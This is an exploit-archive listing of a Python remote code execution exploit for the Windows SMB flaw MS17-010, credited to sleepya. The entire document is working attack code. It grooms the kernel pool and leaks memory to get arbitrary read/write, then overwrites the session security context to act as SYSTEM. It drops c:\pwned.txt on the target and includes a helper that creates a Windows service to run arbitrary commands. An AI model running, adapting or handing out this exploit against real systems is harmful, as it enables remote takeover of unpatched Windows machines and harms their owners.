Microsoft Windows EternalBlue SMB Remote Code Execution .py Exploit

2017.07.12
Credit: sleepya
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/python from impacket import smb, smbconnection from mysmb import MYSMB from struct import pack, unpack, unpack_from import sys import socket import time ''' MS17-010 exploit for Windows 7+ by sleepya Note: - The exploit should never crash a target (chance should be nearly 0%) - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed Tested on: - Windows 2016 x64 - Windows 2012 R2 x64 - Windows 8.1 x64 - Windows 2008 R2 SP1 x64 - Windows 7 SP1 x64 - Windows 8.1 x86 - Windows 7 SP1 x86 ''' USERNAME = '' PASSWORD = '' ''' Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() win7 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; PACCESS_TOKEN Token; // 0x08 DWORD xx2; BOOLEAN CopyOnOpen; // 0x14 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x18 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x20 } win2012 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; QWORD xx2; QWORD xx3; PACCESS_TOKEN Token; // 0x18 DWORD xx4; BOOLEAN CopyOnOpen; // 0x24 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x28 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x30 } SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns STATUS_SUCCESS when Token is NULL. If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) to do all SMB operations. Note: fake Token might be possible, but NULL token is much easier. ''' WIN7_INFO = { 'SESSION_SECCTX_OFFSET': 0xa0, 'SESSION_ISNULL_OFFSET': 0xba, 'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x28, } WIN7_32_INFO = { 'SESSION_SECCTX_OFFSET': 0x80, 'SESSION_ISNULL_OFFSET': 0x96, 'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x1c, } # win8+ info WIN8_INFO = { 'SESSION_SECCTX_OFFSET': 0xb0, 'SESSION_ISNULL_OFFSET': 0xca, 'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x38, } WIN8_32_INFO = { 'SESSION_SECCTX_OFFSET': 0x88, 'SESSION_ISNULL_OFFSET': 0x9e, 'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x24, } X86_INFO = { 'PTR_SIZE' : 4, 'PTR_FMT' : 'I', 'FRAG_TAG_OFFSET' : 12, 'POOL_ALIGN' : 8, 'SRV_BUFHDR_SIZE' : 8, 'TRANS_SIZE' : 0xa0, # struct size 'TRANS_FLINK_OFFSET' : 0x18, 'TRANS_INPARAM_OFFSET' : 0x40, 'TRANS_OUTPARAM_OFFSET' : 0x44, 'TRANS_INDATA_OFFSET' : 0x48, 'TRANS_OUTDATA_OFFSET' : 0x4c, 'TRANS_FUNCTION_OFFSET' : 0x72, 'TRANS_MID_OFFSET' : 0x80, } X64_INFO = { 'PTR_SIZE' : 8, 'PTR_FMT' : 'Q', 'FRAG_TAG_OFFSET' : 0x14, 'POOL_ALIGN' : 0x10, 'SRV_BUFHDR_SIZE' : 0x10, 'TRANS_SIZE' : 0xf8, # struct size 'TRANS_FLINK_OFFSET' : 0x28, 'TRANS_INPARAM_OFFSET' : 0x70, 'TRANS_OUTPARAM_OFFSET' : 0x78, 'TRANS_INDATA_OFFSET' : 0x80, 'TRANS_OUTDATA_OFFSET' : 0x88, 'TRANS_FUNCTION_OFFSET' : 0xb2, 'TRANS_MID_OFFSET' : 0xc0, } def wait_for_request_processed(conn): #time.sleep(0.05) # send echo is faster than sleep(0.05) when connection is very good conn.send_echo('a') special_mid = 0 extra_last_mid = 0 def reset_extra_mid(conn): global extra_last_mid, special_mid special_mid = (conn.next_mid() & 0xff00) - 0x100 extra_last_mid = special_mid def next_extra_mid(): global extra_last_mid extra_last_mid += 1 return extra_last_mid # Borrow 'groom' and 'bride' word from NSA tool # GROOM_TRANS_SIZE includes transaction name, parameters and data GROOM_TRANS_SIZE = 0x5010 def calc_alloc_size(size, align_size): return (size + align_size - 1) & ~(align_size-1) def leak_frag_size(conn, tid, fid, info): # A "Frag" pool is placed after the large pool allocation if last page has some free space left. # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version. # To make exploit more generic, exploit does info leak to find a "Frag" pool size. # From the leak info, we can determine the target architecture too. mid = conn.next_mid() req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4) req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes conn.send_raw(req1[:-8]) conn.send_raw(req1[-8:]+req2) leakData = conn.recv_transaction_data(mid, 0x10d0+276) leakData = leakData[0x10d4:] # skip parameters and its own input if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': print('Target is 32 bit') if info['SESSION_SECCTX_OFFSET'] == WIN7_INFO['SESSION_SECCTX_OFFSET']: info.update(WIN7_32_INFO) elif info['SESSION_SECCTX_OFFSET'] == WIN8_INFO['SESSION_SECCTX_OFFSET']: info.update(WIN8_32_INFO) else: print('The exploit does not support this 32 bit target') sys.exit() info.update(X86_INFO) elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': print('Target is 64 bit') info.update(X64_INFO) else: print('Not found Frag pool tag in leak data') sys.exit() # Calculate frag pool size info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN'] print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE'])) # groom: srv buffer header info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN']) print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE'])) # groom paramters and data is alignment by 8 because it is NT_TRANS info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE'] # empty transaction name (4), alignment (4) # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4) bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE'] info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN']) print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE'])) # bride paramters and data is alignment by 4 because it is TRANS info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE'] # empty transaction name (4) return info['FRAG_POOL_SIZE'] def align_transaction_and_leak(conn, tid, fid, info, numFill=4): trans_param = pack('<HH', fid, 0) # param for NT_RENAME # fill large pagedpool holes (maybe no need) for i in range(numFill): conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0) mid_ntrename = conn.next_mid() req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0) req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000) reqs = [] for i in range(12): mid = next_extra_mid() reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0)) conn.send_raw(req1[:-8]) conn.send_raw(req1[-8:]+req2+req3+''.join(reqs)) # expected transactions alignment ("Frag" pool is not shown) # # | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE | # +-------------------------------+----------------+-------------------------------+----------------+ # | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 | # +-------------------------------+----------------+-------------------------------+----------------+ # # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked. # From leaked transaction, we get # - leaked transaction address from InParameter or InData # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink # With these information, we can verify the transaction aligment from displacement. leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276) leakData = leakData[0x10d4:] # skip parameters and its own input #open('leak.dat', 'wb').write(leakData) if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag': print('Not found Frag pool tag in leak data') return None # ================================ # verify leak data # ================================ leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:] # check pool tag and size value in buffer header expected_size = pack('<H', info['BRIDE_TRANS_SIZE']) leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size: print('No transaction struct in leak data') return None leakTrans = leakData[leakTransOffset:] ptrf = info['PTR_FMT'] _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8) inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0] leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0] print('CONNECTION: 0x{:x}'.format(connection_addr)) print('SESSION: 0x{:x}'.format(session_addr)) print('FLINK: 0x{:x}'.format(flink_value)) print('InParam: 0x{:x}'.format(inparam_value)) print('MID: 0x{:x}'.format(leak_mid)) next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000 if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value: print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr)) return None # trans1: leak transaction # trans2: next transaction return { 'connection': connection_addr, 'session': session_addr, 'next_page_addr': next_page_addr, 'trans1_mid': leak_mid, 'trans1_addr': inparam_value - info['TRANS_SIZE'] - 4, 'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'], 'special_mid': special_mid, } def read_data(conn, info, read_addr, read_size): fmt = info['PTR_FMT'] # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data # modify trans2.*ParameterCount and trans2.*DataCount to limit data new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME) conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET']) # create one more transaction before leaking data # - next transaction can be used for arbitrary read/write after the current trans2 is done # - next transaction address is from TransactionListEntry.Flink value conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000) # finish the trans2 to leak conn.send_nt_trans_secondary(mid=info['trans2_mid']) read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size) # set new trans2 address info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET'] # set trans1.InData to &trans2 conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # modify trans2 mid conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) wait_for_request_processed(conn) return read_data[8:] # no need to return parameter def write_data(conn, info, write_addr, write_data): # trans2.InData conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # write data conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data) wait_for_request_processed(conn) def exploit(target, pipe_name): conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} conn.login(USERNAME, PASSWORD, maxBufferSize=4356) server_os = conn.get_server_os() print('Target OS: '+server_os) if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): info.update(WIN7_INFO) elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "): info.update(WIN8_INFO) else: print('This exploit does not support this target') sys.exit() # ================================ # try align pagedpool and leak info until satisfy # ================================ leakInfo = None # max attempt: 10 for i in range(10): tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids. fid = conn.nt_create_andx(tid, pipe_name) if 'FRAG_POOL_SIZE' not in info: leak_frag_size(conn, tid, fid, info) reset_extra_mid(conn) leakInfo = align_transaction_and_leak(conn, tid, fid, info) if leakInfo is not None: break print('leak failed... try again') conn.close(tid, fid) conn.disconnect_tree(tid) if leakInfo is None: return False info['fid'] = fid info.update(leakInfo) # ================================ # shift trans1.Indata ptr with SmbWriteAndX # ================================ shift_indata_byte = 0x200 conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte) # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place. # So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong. # maxParameterCount (0x1000), trans name (4), param (4) indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte indata_next_trans_displacement = info['trans2_addr'] - indata_value conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET']) wait_for_request_processed(conn) # if the overwritten is correct, a modified transaction mid should be special_mid now. # a new transaction with special_mid should be error. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='') if recvPkt.getNTStatus() != 0x10002: # invalid SMB print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus())) print('!!! Write to wrong place !!!') print('the target might be crashed') sys.exit() print('success controlling groom transaction') # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly # but this method make the transation never get freed # I will avoid memory leak # ================================ # modify trans1 struct to be used for arbitrary read/write # ================================ print('modify trans1 struct for arbitrary read/write') fmt = info['PTR_FMT'] # modify trans_special.InData to &trans1 conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # modify # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself # - trans1.InData to &trans2. so we can modify trans2 easily conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET']) wait_for_request_processed(conn) # modify trans2.mid info['trans2_mid'] = conn.next_mid() conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ # Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this # method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult. print('make this SMB session to be SYSTEM') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] # copy SecurityContext for restoration secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) print('overwriting session security context') # see FAKE_SECCTX detail at top of the file write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) # ================================ # do whatever we want as SYSTEM over this SMB connection # ================================ try: smb_pwn(conn) except: pass # restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked. write_data(conn, info, secCtxAddr, secCtxData) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() return True def smb_pwn(conn): smbConn = smbconnection.SMBConnection(conn.get_remote_host(), conn.get_remote_host(), existingConnection=conn, manualNegotiate=True) print('creating file c:\\pwned.txt on the target') tid2 = smbConn.connectTree('C$') fid2 = smbConn.createFile(tid2, '/pwned.txt') smbConn.closeFile(tid2, fid2) smbConn.disconnectTree(tid2) #service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') # based on impacket/examples/serviceinstall.py def service_exec(smbConn, cmd): import random import string from impacket.dcerpc.v5 import transport, srvs, scmr service_name = ''.join([random.choice(string.letters) for i in range(4)]) # Setup up a DCE SMBTransport with the connection already in place rpctransport = transport.SMBTransport(smbConn.getRemoteHost(), smbConn.getRemoteHost(), filename=r'\svcctl', smb_connection=smbConn) rpcsvc = rpctransport.get_dce_rpc() rpcsvc.connect() rpcsvc.bind(scmr.MSRPC_UUID_SCMR) svnHandle = None try: print("Opening SVCManager on %s....." % smbConn.getRemoteHost()) resp = scmr.hROpenSCManagerW(rpcsvc) svcHandle = resp['lpScHandle'] # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') except Exception, e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: raise e # Unexpected error else: # It exists, remove it scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) print('Creating service %s.....' % service_name) resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') serviceHandle = resp['lpServiceHandle'] if serviceHandle: # Start service try: print('Starting service %s.....' % service_name) scmr.hRStartServiceW(rpcsvc, serviceHandle) # is it really need to stop? # using command line always makes starting service fail because SetServiceStatus() does not get called print('Stoping service %s.....' % service_name) scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) except Exception, e: print(str(e)) print('Removing service %s.....' % service_name) scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) except Exception, e: print("ServiceExec Error on: %s" % smbConn.getRemoteHost()) print(str(e)) finally: if svcHandle: scmr.hRCloseServiceHandle(rpcsvc, svcHandle) rpcsvc.disconnect() if len(sys.argv) != 3: print("{} <ip> <pipe_name>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] exploit(target, pipe_name) print('Done')


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